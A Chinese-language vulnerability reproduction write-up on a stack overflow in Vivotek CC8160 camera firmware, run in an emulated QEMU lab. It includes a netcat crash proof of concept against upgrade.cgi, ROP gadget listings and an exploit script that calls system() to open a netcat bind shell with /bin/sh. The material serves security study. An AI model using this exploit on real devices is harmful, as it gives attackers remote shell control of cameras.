Vivotek CC8160 固件栈溢出漏洞复现分析
一、固件提取
binwalk -Me CC8160-VVTK-0113b.flash.pkg
二、官方揭露阅读
三、环境搭建
sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
cat ./etc/hosts
127.0.0.1 Network-Camera localhost
debian-armel
rm -rf initrd.img-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE #这里的网卡ens33要改成自己的噢
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
-M versatilepb \
-kernel vmlinuz-3.2.0-4-versatile \
-initrd initrd.img-3.2.0-4-versatile \
-hda debian_wheezy_armel_standard.qcow2 \
-append "root=/dev/sda1" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic\
route add default gw 192.168.100.254
chroot ./squashfs-root/ /bin/sh
./usr/sbin/httpd
mount -o bind /dev ./squashfs-root/dev
chmod -R 777 squashfs-root/
chroot ./squashfs-root/ /bin/sh
./usr/sbin/httpd
四、验证poc
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.100.2 80
五、漏洞利用
lyyy@ubuntu:~/Desktop/vr/squashfs-root$ ROPgadget --binary ./lib/libc.so.0 --only "pop|ret"
Gadgets information
============================================================
0x00046428 : pop {fp, pc}
0x00033100 : pop {r0, pc}
0x00048784 : pop {r1, pc}
0x0000b490 : pop {r3, pc}
0x0000d71c : pop {r3, r4, r5, pc}
0x0000a46c : pop {r3, r4, r5, r6, r7, pc}
0x0000cf14 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x0002cf58 : pop {r3, r4, r5, r6, r7, r8, sb, pc} ; pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x000174c8 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0000b7c0 : pop {r3, r4, r7, pc}
0x0000ae00 : pop {r4, pc}
0x0000ddf0 : pop {r4, pc} ; pop {r4, pc}
0x0000abb8 : pop {r4, r5, pc}
0x0000a83c : pop {r4, r5, r6, pc}
0x0000aa64 : pop {r4, r5, r6, r7, pc}
0x0000b364 : pop {r4, r5, r6, r7, r8, pc}
0x0000a700 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000db64 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0000d110 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x0000a97c : pop {r4, r5, r7, pc}
0x00042540 : pop {r4, r6, r7, pc}
0x0000b6e0 : pop {r4, r7, pc}
0x0000d320 : pop {r4, r7, pc} ; pop {r4, r7, pc}
0x0000a4ac : pop {r7, pc}
Unique gadgets found: 24
pop {r1，pc};==pop r1;ret
mov r0,r1;
0x00033100 pop r0 gadeget地址带有/x00，漏洞使用strncmp，所以会有/x00截断
import requests
p=remote('192.168.100.2',80)
libc=ELF('./lib/libc.so.0')
context.log_level='debug'
libc_base=0xb6f2d000
pop_r1=0x00048784+libc_base
mov_r0_r1=0x00016aa4+libc_base
system=libc_base+libc.sym['system']
stack = 0xbeffeb64#反弹shell语句的地方
amd='aaaaaa'
head = b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = b'b'*(0x00003c-8)+p32(pop_r1)+p32(stack)+p32(mov_r0_r1)+b'b'*8+p32(system)
end = b'nc -lp 6666 -e /bin/sh;'+b'\r\n\r\n'
p.sendline(head+payload+end)
Scan to Follow